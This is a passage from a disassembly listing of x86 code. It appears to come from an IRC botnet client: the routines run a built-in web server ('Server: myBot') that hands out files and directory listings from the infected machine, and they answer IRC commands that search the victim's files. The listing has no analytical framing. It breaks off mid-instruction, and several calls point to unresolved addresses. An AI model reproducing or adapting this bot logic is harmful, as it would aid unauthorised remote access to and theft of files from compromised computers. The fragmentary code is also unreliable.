0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2740000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 27315A6h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385A8o ; ___:004385BCo push [ebp+var_44C] call dword_4CBA24 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 2680E33h nop push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 27107C1h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2740AF5h push esi mov [ebp+var_330], eax nop call near ptr 26608D5h loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi nop call near ptr 2680000h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 call near ptr 2670E97h nop jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C call near ptr 2680972h nop push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 2770000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2760000h test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 275064Ch lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2750000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h nop call near ptr 2670E97h loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2760000h test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] nop call near ptr 25F0000h cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 27107C1h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx call near ptr 2740AF5h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 27711CFh nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F107Dh push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: 